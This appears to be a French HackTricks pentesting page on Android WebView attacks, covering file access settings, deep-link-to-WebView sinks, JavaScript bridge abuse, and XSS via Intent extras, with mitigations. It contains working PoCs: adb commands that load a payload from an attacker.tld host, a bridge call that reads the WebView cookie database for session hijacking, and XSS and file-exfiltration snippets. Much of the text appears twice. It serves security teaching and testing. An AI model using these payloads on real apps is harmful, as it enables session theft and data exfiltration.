Attaques WebView

Reading time: 20 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Guide sur les configurations et la sécurité de WebView

Aperçu des vulnérabilités de WebView

Un aspect critique du développement Android concerne la gestion correcte des WebView. Ce guide met en avant les configurations clés et les bonnes pratiques de sécurité pour atténuer les risques liés à l'utilisation de WebView.

Exemple WebView

AccĂšs aux fichiers dans les WebView

Par défaut, les WebView autorisent l'accÚs aux fichiers. Cette fonctionnalité est contrÎlée par la méthode setAllowFileAccess(), disponible depuis Android API level 3 (Cupcake 1.5). Les applications disposant de la permission android.permission.READ_EXTERNAL_STORAGE peuvent lire des fichiers depuis le stockage externe en utilisant le schéma d'URL file (file://path/to/file).

Fonctionnalités obsolÚtes : Universal and File Access From URLs

  • Universal Access From File URLs: Cette fonctionnalitĂ© obsolĂšte autorisait les requĂȘtes cross-origin depuis des URLs file, reprĂ©sentant un risque de sĂ©curitĂ© majeur Ă  cause d'Ă©ventuelles attaques XSS. Le rĂ©glage par dĂ©faut est dĂ©sactivĂ© (false) pour les apps ciblant Android Jelly Bean et versions ultĂ©rieures.
  • Pour vĂ©rifier ce rĂ©glage, utilisez getAllowUniversalAccessFromFileURLs().
  • Pour modifier ce rĂ©glage, utilisez setAllowUniversalAccessFromFileURLs(boolean).
  • File Access From File URLs: Cette fonctionnalitĂ©, Ă©galement obsolĂšte, contrĂŽlait l'accĂšs au contenu depuis d'autres URL utilisant le schĂ©ma file. Comme pour Universal Access, son rĂ©glage par dĂ©faut est dĂ©sactivĂ© pour renforcer la sĂ©curitĂ©.
  • Utilisez getAllowFileAccessFromFileURLs() pour vĂ©rifier et setAllowFileAccessFromFileURLs(boolean) pour dĂ©finir.

Chargement sécurisé des fichiers

Pour désactiver l'accÚs au systÚme de fichiers tout en continuant d'accéder aux assets et ressources, on utilise la méthode setAllowFileAccess(). Avec Android R et versions ultérieures, le réglage par défaut est false.

  • VĂ©rifiez avec getAllowFileAccess().
  • Activez ou dĂ©sactivez avec setAllowFileAccess(boolean).

WebViewAssetLoader

La classe WebViewAssetLoader est l'approche moderne pour charger des fichiers locaux. Elle utilise des URLs http(s) pour accéder aux assets et ressources locaux, se conformant à la Same-Origin policy et facilitant ainsi la gestion du CORS.

loadUrl

C'est une fonction courante utilisée pour charger des URL arbitraires dans un WebView :

java
webview.loadUrl("<url here>")

Évidemment, un attaquant potentiel ne devrait jamais ĂȘtre capable de contrĂŽler l'URL que l'application va charger.

JavaScript et gestion de l'Intent Scheme

  • JavaScript : DĂ©sactivĂ© par dĂ©faut dans les WebViews, il peut ĂȘtre activĂ© via setJavaScriptEnabled(). Il convient de faire preuve de prudence, car activer JavaScript sans protections appropriĂ©es peut introduire des vulnĂ©rabilitĂ©s de sĂ©curitĂ©.
  • Intent Scheme : Les WebViews peuvent gĂ©rer le scheme intent, ce qui peut conduire Ă  des exploits si ce n'est pas correctement maĂźtrisĂ©. Une vulnĂ©rabilitĂ© exemple impliquait un paramĂštre WebView exposĂ© "support_url" qui pouvait ĂȘtre exploitĂ© pour exĂ©cuter des attaques de cross-site scripting (XSS).

WebView vulnérable

Exemple d'exploitation utilisant adb:

bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android fournit une fonctionnalitĂ© qui permet au JavaScript dans une WebView d'invoquer des fonctions natives de l'application Android. Cela se fait en utilisant la mĂ©thode addJavascriptInterface, qui intĂšgre JavaScript aux fonctionnalitĂ©s natives d'Android, appelĂ©e WebView JavaScript bridge. Il convient d'ĂȘtre prudent car cette mĂ©thode permet Ă  toutes les pages chargĂ©es dans la WebView d'accĂ©der Ă  l'objet JavaScript Interface enregistrĂ©, ce qui reprĂ©sente un risque de sĂ©curitĂ© si des informations sensibles sont exposĂ©es via ces interfaces.

  • Une extrĂȘme prudence est requise pour les applications ciblant les versions d'Android antĂ©rieures Ă  4.2 en raison d'une vulnĂ©rabilitĂ© permettant l'exĂ©cution de code Ă  distance via du JavaScript malveillant exploitant la reflection.

Implementing a JavaScript Bridge

  • Les interfaces JavaScript peuvent interagir avec du code natif, comme montrĂ© dans les exemples oĂč une mĂ©thode de classe est exposĂ©e Ă  JavaScript:
javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge est activĂ© en ajoutant une interface au WebView:
javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • Exploitation potentielle via JavaScript, par exemple via une attaque XSS, permet d'appeler des mĂ©thodes Java exposĂ©es :
html
<script>
alert(javascriptBridge.getSecret())
</script>
  • Pour attĂ©nuer les risques, restrict JavaScript bridge usage au code livrĂ© avec l'APK et empĂȘcher le chargement de JavaScript depuis des sources distantes. Pour les appareils plus anciens, dĂ©finissez le niveau d'API minimum sur 17.

Reflection-based Remote Code Execution (RCE)

  • Une mĂ©thode documentĂ©e permet d'atteindre RCE via reflection en exĂ©cutant un payload spĂ©cifique. Cependant, l'annotation @JavascriptInterface empĂȘche l'accĂšs non autorisĂ© aux mĂ©thodes, limitant la surface d'attaque.

Remote Debugging

  • Remote debugging est possible avec Chrome Developer Tools, permettant l'interaction et l'exĂ©cution arbitraire de JavaScript dans le contenu du WebView.

Activation de Remote Debugging

  • Remote debugging peut ĂȘtre activĂ© pour tous les WebViews au sein d'une application en :
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Pour activer le debugging de maniĂšre conditionnelle en fonction de l'Ă©tat debuggable de l'application:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrer des fichiers arbitraires

  • DĂ©montre l'exfiltration de fichiers arbitraires en utilisant un XMLHttpRequest:
javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Webview Attacks

Guide on WebView Configurations and Security

Overview of WebView Vulnerabilities

Un aspect critique du développement Android concerne la gestion correcte des WebViews. Ce guide met en évidence les configurations clés et les bonnes pratiques de sécurité pour atténuer les risques liés à l'utilisation des WebViews.

WebView Example

File Access in WebViews

Par défaut, les WebViews autorisent l'accÚs aux fichiers. Cette fonctionnalité est contrÎlée par la méthode setAllowFileAccess(), disponible depuis Android API level 3 (Cupcake 1.5). Les applications disposant de la permission android.permission.READ_EXTERNAL_STORAGE peuvent lire des fichiers depuis le stockage externe en utilisant un schéma d'URL file (file://path/to/file).

Deprecated Features: Universal and File Access From URLs

  • Universal Access From File URLs: Cette fonctionnalitĂ© obsolĂšte autorisait les requĂȘtes cross-origin depuis des file URLs, reprĂ©sentant un risque de sĂ©curitĂ© important Ă  cause d'attaques XSS potentielles. Le rĂ©glage par dĂ©faut est dĂ©sactivĂ© (false) pour les apps ciblant Android Jelly Bean et versions ultĂ©rieures.
  • Pour vĂ©rifier ce rĂ©glage, utilisez getAllowUniversalAccessFromFileURLs().
  • Pour modifier ce rĂ©glage, utilisez setAllowUniversalAccessFromFileURLs(boolean).
  • File Access From File URLs: Cette fonctionnalitĂ©, Ă©galement obsolĂšte, contrĂŽlait l'accĂšs au contenu depuis d'autres file scheme URLs. Comme pour l'accĂšs universel, son rĂ©glage par dĂ©faut est dĂ©sactivĂ© pour renforcer la sĂ©curitĂ©.
  • Utilisez getAllowFileAccessFromFileURLs() pour vĂ©rifier et setAllowFileAccessFromFileURLs(boolean) pour dĂ©finir.

Secure File Loading

Pour désactiver l'accÚs au systÚme de fichiers tout en continuant d'accéder aux assets et resources, on utilise la méthode setAllowFileAccess(). Avec Android R et versions supérieures, le réglage par défaut est false.

  • VĂ©rifiez avec getAllowFileAccess().
  • Activez ou dĂ©sactivez avec setAllowFileAccess(boolean).

WebViewAssetLoader

La classe WebViewAssetLoader est l'approche moderne pour charger des fichiers locaux. Elle utilise des URLs http(s) pour accéder aux assets et resources locaux, en respectant la Same-Origin policy, facilitant ainsi la gestion du CORS.

loadUrl

Ceci est une fonction courante utilisée pour charger des URLs arbitraires dans un WebView:

java
webview.loadUrl("<url here>")

Évidemment, un attaquant potentiel ne devrait jamais pouvoir contrîler l'URL que va charger une application.

Deep-linking into internal WebView (custom scheme → WebView sink)

Beaucoup d'applications enregistrent des custom schemes/paths qui redirigent une URL fournie par l'utilisateur vers un WebView intégré. Si le deep link est exporté (VIEW + BROWSABLE), un attaquant peut forcer l'application à afficher du contenu distant arbitraire dans son contexte WebView.

Schéma typique de manifest (simplifié) :

xml
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>

Flux de code commun (simplifié) :

java
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

ModĂšle d'attaque et PoC via adb:

bash
# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact : la page distante s'exécute dans le contexte WebView de l'application (cookies/session du profil WebView de l'application, accÚs à tout @JavascriptInterface exposé, accÚs potentiel à content:// et file:// selon les paramÚtres).

Hunting tips:

  • Grep des sources dĂ©compilĂ©es pour getQueryParameter("url"), loadUrl(, WebView sinks, et les gestionnaires de deep-link (onCreate/onNewIntent).
  • Examinez le manifest pour les filtres VIEW+BROWSABLE et les schĂ©mas/hĂŽtes personnalisĂ©s qui correspondent Ă  des activities qui lancent ensuite une WebView.
  • VĂ©rifiez s'il existe plusieurs deep-link paths (e.g., an “external browser” path vs. an “internal webview” path) et privilĂ©giez celui qui s'affiche Ă  l'intĂ©rieur de l'application.

Activation de JavaScript avant la vérification (order-of-checks bug)

Une erreur de durcissement frĂ©quente consiste Ă  activer JavaScript ou Ă  configurer des paramĂštres WebView relĂąchĂ©s avant que l'allowlist/vĂ©rification finale de l'URL cible ne soit terminĂ©e. Si la vĂ©rification est incohĂ©rente entre les helpers ou arrive trop tard, un deep link d'attaquant peut atteindre un Ă©tat oĂč :

  1. les paramĂštres WebView s'appliquent (e.g., setJavaScriptEnabled(true)), et
  2. l'URL non fiable est chargée avec JavaScript activé.

Schéma du bug (pseudocode) :

java
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());

Pourquoi c'est exploitable

  • Normalisation inconsistante : les helpers scindent/reconstruisent l'URL diffĂ©remment de la vĂ©rification finale, crĂ©ant des divergences qu'une URL malveillante peut exploiter.
  • Pipeline mal ordonnĂ©e : activer JS Ă  l'Ă©tape 2 s'applique globalement Ă  l'instance WebView, affectant le chargement final mĂȘme si la vĂ©rification Ă©choue ensuite.

Comment tester

  • Concevoir des payloads de deep-link qui passent les contrĂŽles prĂ©coces et atteignent le site de configuration WebView.
  • Utiliser adb pour envoyer des intents implicites VIEW fournissant un paramĂštre url= que vous contrĂŽlez :
bash
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Si l'exploitation rĂ©ussit, votre payload exĂ©cute du JavaScript dans le WebView de l'application. À partir de lĂ , recherchez des bridges exposĂ©s :

html
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

Conseils défensifs

  • Canoniser une seule fois ; valider strictement par rapport Ă  une unique source de vĂ©ritĂ© (scheme/host/path/query).
  • N'appelez setJavaScriptEnabled(true) qu'aprĂšs le passage de toutes les vĂ©rifications allowlist et juste avant de charger du contenu de confiance.
  • Évitez d'exposer @JavascriptInterface Ă  des origines non fiables ; prĂ©fĂ©rez un contrĂŽle par origine.
  • Envisagez d'utiliser des instances WebView distinctes pour le contenu de confiance et non fiable, avec JS dĂ©sactivĂ© par dĂ©faut.

Gestion de JavaScript et du scheme intent

  • JavaScript : DĂ©sactivĂ© par dĂ©faut dans les WebViews, il peut ĂȘtre activĂ© via setJavaScriptEnabled(). La prudence est de mise : activer JavaScript sans protections appropriĂ©es peut introduire des vulnĂ©rabilitĂ©s de sĂ©curitĂ©.
  • Intent Scheme : Les WebViews peuvent gĂ©rer le scheme intent, ce qui peut entraĂźner des exploits si ce n'est pas gĂ©rĂ© soigneusement. Un exemple de vulnĂ©rabilitĂ© impliquait un paramĂštre exposĂ© dans une WebView, "support_url", qui pouvait ĂȘtre exploitĂ© pour exĂ©cuter des attaques cross-site scripting (XSS).

Vulnerable WebView

Exemple d'exploitation utilisant adb:

bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android fournit une fonctionnalitĂ© qui permet Ă  JavaScript dans une WebView d'invoquer des fonctions natives de l'application Android. Cela s'effectue en utilisant la mĂ©thode addJavascriptInterface, qui intĂšgre JavaScript aux fonctionnalitĂ©s natives d'Android, appelĂ©e WebView JavaScript bridge. Il convient d'ĂȘtre prudent car cette mĂ©thode permet Ă  toutes les pages au sein de la WebView d'accĂ©der Ă  l'objet JavaScript Interface enregistrĂ©, ce qui pose un risque de sĂ©curitĂ© si des informations sensibles sont exposĂ©es via ces interfaces.

  • Une extrĂȘme prudence est requise pour les apps ciblant des versions d'Android antĂ©rieures Ă  4.2 en raison d'une vulnĂ©rabilitĂ© permettant l'exĂ©cution de code Ă  distance via du JavaScript malveillant exploitant la reflection.

Implémentation d'un JavaScript Bridge

  • JavaScript interfaces peuvent interagir avec le code natif, comme montrĂ© dans les exemples oĂč une mĂ©thode de classe est exposĂ©e Ă  JavaScript:
javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge est activĂ© en ajoutant une interface au WebView:
javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • Une exploitation potentielle via JavaScript, par exemple via une attaque XSS, permet l'appel de mĂ©thodes Java exposĂ©es :
html
<script>
alert(javascriptBridge.getSecret())
</script>
  • Pour rĂ©duire les risques, limitez l'utilisation du JavaScript bridge au code livrĂ© avec l'APK et empĂȘchez le chargement de JavaScript depuis des sources distantes. Pour les appareils plus anciens, dĂ©finissez le niveau d'API minimum Ă  17.

Abusing dispatcher-style JS bridges (invokeMethod/handlerName)

Un schéma courant est une unique méthode exportée (par ex., @JavascriptInterface void invokeMethod(String json)) qui désérialise du JSON contrÎlé par l'attaquant en un objet générique et achemine l'exécution en fonction d'un handler fourni. Structure JSON typique :

json
{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}

Risque : si un handler enregistré exécute des actions privilégiées sur des données contrÎlées par l'attaquant (par ex. lecture directe de fichiers), vous pouvez l'appeler en définissant handlerName en conséquence. Les résultats sont généralement renvoyés dans le contexte de la page via evaluateJavascript et un mécanisme de callback/promise indexé par callbackId.

Key hunting steps

  • DĂ©compilez et recherchez addJavascriptInterface( afin d'identifier le nom de l'objet bridge (par ex. xbridge).
  • Dans Chrome DevTools (chrome://inspect), tapez le nom de l'objet bridge dans la Console (par ex. xbridge) pour Ă©numĂ©rer les champs/mĂ©thodes exposĂ©s ; cherchez un dispatcher gĂ©nĂ©rique comme invokeMethod.
  • ÉnumĂ©rez les handlers en recherchant les classes implĂ©mentant getModuleName() ou des maps d'enregistrement.

Lecture arbitraire de fichiers via URI → File sinks (exfiltration Base64)

Si un handler prend un URI, appelle Uri.parse(req.getUri()).getPath(), construit new File(...) et le lit sans allowlists ni vérifications de sandbox, vous obtenez une lecture arbitraire de fichier dans le sandbox de l'app qui contourne les paramÚtres WebView comme setAllowFileAccess(false) (la lecture se fait dans le code natif, pas via la pile réseau du WebView).

PoC pour exfiltrer la Chromium WebView cookie DB (détournement de session) :

javascript
// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};

const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});

xbridge.invokeMethod(payload);

Notes

  • Les chemins de la DB des cookies varient selon les appareils/fournisseurs. Exemples courants :
  • file:///data/data/<pkg>/app_webview/Default/Cookies
  • file:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies
  • Le handler renvoie du Base64 ; dĂ©codez-le pour rĂ©cupĂ©rer les cookies et vous faire passer pour l'utilisateur dans le profil WebView de l'app.

Detection tips

  • Surveillez la prĂ©sence de longues chaĂźnes Base64 retournĂ©es via evaluateJavascript lors de l'utilisation de l'app.
  • Grep dans les sources dĂ©compilĂ©es Ă  la recherche de handlers qui acceptent uri/path et les convertissent en new File(...).

Bypassing WebView privilege gates – endsWith() host checks

Les décisions de privilÚges (sélection d'une JSB-enabled Activity) reposent souvent sur des allowlists d'hÎtes. Un modÚle défaillant est :

java
String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true → open privileged WebView

Logique équivalente (lois de De Morgan) :

java
boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);

Ceci n'est pas une vérification d'origine. De nombreux hÎtes non intentionnés satisfont la deuxiÚme clause, permettant à des domaines non fiables d'entrer dans l'Activity privilégiée. Vérifiez toujours le scheme et le host par rapport à une allowlist stricte (correspondance exacte ou une vérification correcte des sous-domaines avec des limites par point), et non des astuces endsWith.

javascript:// primitive d'exécution via loadUrl

Une fois à l'intérieur d'un WebView privilégié, les applications exécutent parfois du JS inline via :

java
webView.loadUrl("javascript:" + jsPayload);

Si un flux interne dĂ©clenche loadUrl("javascript:...") dans ce contexte, le JS injectĂ© s'exĂ©cute avec un accĂšs au bridge mĂȘme si la page externe ne serait normalement pas autorisĂ©e. Pentest steps:

  • Grep pour loadUrl("javascript: et evaluateJavascript( dans l'app.
  • Essayez d'atteindre ces chemins de code aprĂšs avoir forcĂ© la navigation vers le WebView privilĂ©giĂ© (par ex., via un permissive deep link chooser).
  • Utilisez le primitive pour appeler le dispatcher (xbridge.invokeMethod(...)) et atteindre des handlers sensibles.

Mitigations (checklist pour développeurs)

  • VĂ©rification stricte de l'origine pour les Activities privilĂ©giĂ©es : canonicalisez et comparez scheme/host avec une allowlist explicite ; Ă©vitez les vĂ©rifications basĂ©es sur endsWith. ConsidĂ©rez Digital Asset Links quand applicable.
  • Limitez les bridges aux pages de confiance uniquement et re-vĂ©rifiez la confiance Ă  chaque appel (autorisation par appel).
  • Supprimez ou protĂ©gez fortement les handlers capables d'accĂ©der au filesystem ; prĂ©fĂ©rez content:// avec allowlists/permissions plutĂŽt que des chemins file:// bruts.
  • Évitez loadUrl("javascript:") dans des contextes privilĂ©giĂ©s ou placez-le derriĂšre des vĂ©rifications strictes.
  • Rappelez-vous que setAllowFileAccess(false) ne protĂšge pas contre les lectures natives de fichiers via le bridge.

JSB enumeration and debugging tips

  • Activez le WebView remote debugging pour utiliser la Console de Chrome DevTools :
  • CĂŽtĂ© app (builds debug) : WebView.setWebContentsDebuggingEnabled(true)
  • CĂŽtĂ© systĂšme : des modules comme LSPosed ou des scripts Frida peuvent forcer l'activation du debugging mĂȘme sur les builds release. Exemple de snippet Frida pour les Cordova WebViews : cordova enable webview debugging
  • Dans DevTools, tapez le nom de l'objet bridge (ex., xbridge) pour voir les membres exposĂ©s et sonder le dispatcher.

Exécution de code à distance basée sur la réflexion (RCE)

  • Une mĂ©thode documentĂ©e permet d'obtenir une RCE via la rĂ©flexion en exĂ©cutant un payload spĂ©cifique. Cependant, l'annotation @JavascriptInterface empĂȘche l'accĂšs non autorisĂ© aux mĂ©thodes, limitant la surface d'attaque.

Débogage à distance

  • Le dĂ©bogage Ă  distance est possible avec Chrome Developer Tools, permettant l'interaction et l'exĂ©cution arbitraire de JavaScript dans le contenu du WebView.

Activer le débogage à distance

  • Le dĂ©bogage Ă  distance peut ĂȘtre activĂ© pour tous les WebViews d'une application en :
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Pour activer conditionnellement le dĂ©bogage en fonction de l'Ă©tat debuggable de l'application :
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrer des fichiers arbitraires

  • DĂ©montre l'exfiltration de fichiers arbitraires en utilisant un XMLHttpRequest:
javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

WebView XSS via Intent extras → loadData()

Une vulnérabilité fréquente consiste à lire des données contrÎlées par un attaquant depuis un extra Intent entrant et à les injecter directement dans un WebView via loadData() avec JavaScript activé.

Schéma vulnérable (exported Activity lit l'extra et l'affiche comme HTML) :

java
String data = getIntent().getStringExtra("data");
if (data == null) { data = "Guest"; }
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebChromeClient());
String userInput = "\n\n# Welcome\n\n" + "\n\n" + data + "\n\n";
webView.loadData(userInput, "text/html", "UTF-8");

Si cette Activity est exportée (ou accessible via un proxy exporté), une application malveillante peut fournir du HTML/JS dans l'extra data pour provoquer un reflected XSS :

bash
# Replace package/component with the vulnerable Activity
adb shell am start -n com.victim/.ExportedWebViewActivity --es data '<img src=x onerror="alert(1)">'

Impact

  • Arbitrary JS in the app’s WebView context: enumerate/use @JavascriptInterface bridges, access WebView cookies/local storage, pivot to file:// or content:// depending on settings.

Mitigations

  • ConsidĂ©rez toutes les entrĂ©es dĂ©rivĂ©es d'Intent comme non fiables. Échapper (Html.escapeHtml) ou rejeter le HTML ; privilĂ©gier le rendu du texte non fiable comme texte, pas comme HTML.
  • DĂ©sactivez JavaScript sauf si strictement nĂ©cessaire ; n'activez pas WebChromeClient pour du contenu non fiable.
  • Si vous devez rendre du HTML templatisĂ©, utilisez loadDataWithBaseURL() avec une base sĂ»re et CSP ; sĂ©parez les WebViews fiables/non fiables.
  • Évitez d'exposer l'Activity Ă  l'extĂ©rieur ou protĂ©gez-la avec des permissions quand ce n'est pas nĂ©cessaire.

Related

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks